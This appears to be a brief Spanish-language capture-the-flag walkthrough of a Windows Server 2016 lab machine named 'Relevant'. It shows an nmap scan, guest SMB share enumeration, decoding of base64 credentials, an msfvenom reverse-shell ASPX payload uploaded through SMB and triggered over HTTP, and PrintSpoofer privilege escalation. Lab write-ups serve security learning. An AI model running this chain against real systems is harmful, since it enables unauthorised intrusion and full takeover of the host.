Relevant
Subir archivos por smb (READ,WRITE)
Puertos abiertos:
│ File: targeted
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Mon Jun 9 15:10:49 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p80,135,139,445,3389,49663,49666,49667 -oN targeted 10.10.136.91
2 │ Nmap scan report for 10.10.136.91
3 │ Host is up (0.17s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 80/tcp open http Microsoft IIS httpd 10.0
7 │ | http-methods:
8 │ |_ Potentially risky methods: TRACE
9 │ |_http-server-header: Microsoft-IIS/10.0
10 │ |_http-title: IIS Windows Server
11 │ 135/tcp open msrpc Microsoft Windows RPC
12 │ 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
13 │ 445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: WORKGROUP)
14 │ 3389/tcp open ms-wbt-server Microsoft Terminal Services
15 │ |_ssl-date: 2025-06-09T15:12:29+00:00; +1s from scanner time.
16 │ | rdp-ntlm-info:
17 │ | Target_Name: RELEVANT
18 │ | NetBIOS_Domain_Name: RELEVANT
19 │ | NetBIOS_Computer_Name: RELEVANT
20 │ | DNS_Domain_Name: Relevant
21 │ | DNS_Computer_Name: Relevant
22 │ | Product_Version: 10.0.14393
23 │ |_ System_Time: 2025-06-09T15:11:49+00:00
24 │ | ssl-cert: Subject: commonName=Relevant
25 │ | Not valid before: 2025-06-08T15:06:33
26 │ |_Not valid after: 2025-12-08T15:06:33
27 │ 49663/tcp open http Microsoft IIS httpd 10.0
28 │ | http-methods:
29 │ |_ Potentially risky methods: TRACE
30 │ |_http-title: IIS Windows Server
31 │ |_http-server-header: Microsoft-IIS/10.0
32 │ 49666/tcp open msrpc Microsoft Windows RPC
33 │ 49667/tcp open msrpc Microsoft Windows RPC
34 │ Service Info: Host: RELEVANT; OS: Windows; CPE: cpe:/o:microsoft:windows
35 │
36 │ Host script results:
37 │ | smb-security-mode:
38 │ | account_used: guest
39 │ | authentication_level: user
40 │ | challenge_response: supported
41 │ |_ message_signing: disabled (dangerous, but default)
42 │ | smb-os-discovery:
43 │ | OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
44 │ | Computer name: Relevant
45 │ | NetBIOS computer name: RELEVANT\x00
46 │ | Workgroup: WORKGROUP\x00
47 │ |_ System time: 2025-06-09T08:11:52-07:00
48 │ | smb2-security-mode:
49 │ | 3:1:1:
50 │ |_ Message signing enabled but not required
51 │ | smb2-time:
52 │ | date: 2025-06-09T15:11:50
53 │ |_ start_date: 2025-06-09T15:06:33
54 │ |_clock-skew: mean: 1h24m01s, deviation: 3h07m51s, median: 0s
55 │
56 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
57 │ # Nmap done at Mon Jun 9 15:12:28 2025 -- 1 IP address (1 host up) scanned in 99.30 seconds
Como no tenemos usuarios y verificamos que tenemos el puerto 443:
nxc smb 10.10.136.91 -u 'guest' -p '' --shares
Entramos a ver el archivo q podemos leer y escribir:
smbclient //10.10.11.71/nt4wrksv -U 'guest'
Unas credenciales en base64:
$echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
Bob - !P@$$W0rD!123% ❯ echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
Bill - Juw4nnaM4n420696969!$$$% En el escaneo se observo otro puerto http abierto:
Entramos y buscamos el archivo que podemos leer y escribir y si se puede observar lo que contiene:
Generar un payload de tipo windows/x64/shell_reverse_tcp
windows/x64/shell_reverse_tcp msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.2.131 LPORT=53 -f aspx -o rev.aspx
Ese archivo malicioso lo subimos por smbclient:
smbclient //10.10.4.55/nt4wrksv -U 'guest'
Por último lo ejecutamos a través de la Web:
http://10.10.4.55:49663/nt4wrksv/rev.aspx
Escalada de privilegios:
PrintSpoofer.exe -i -c cmd
Last updated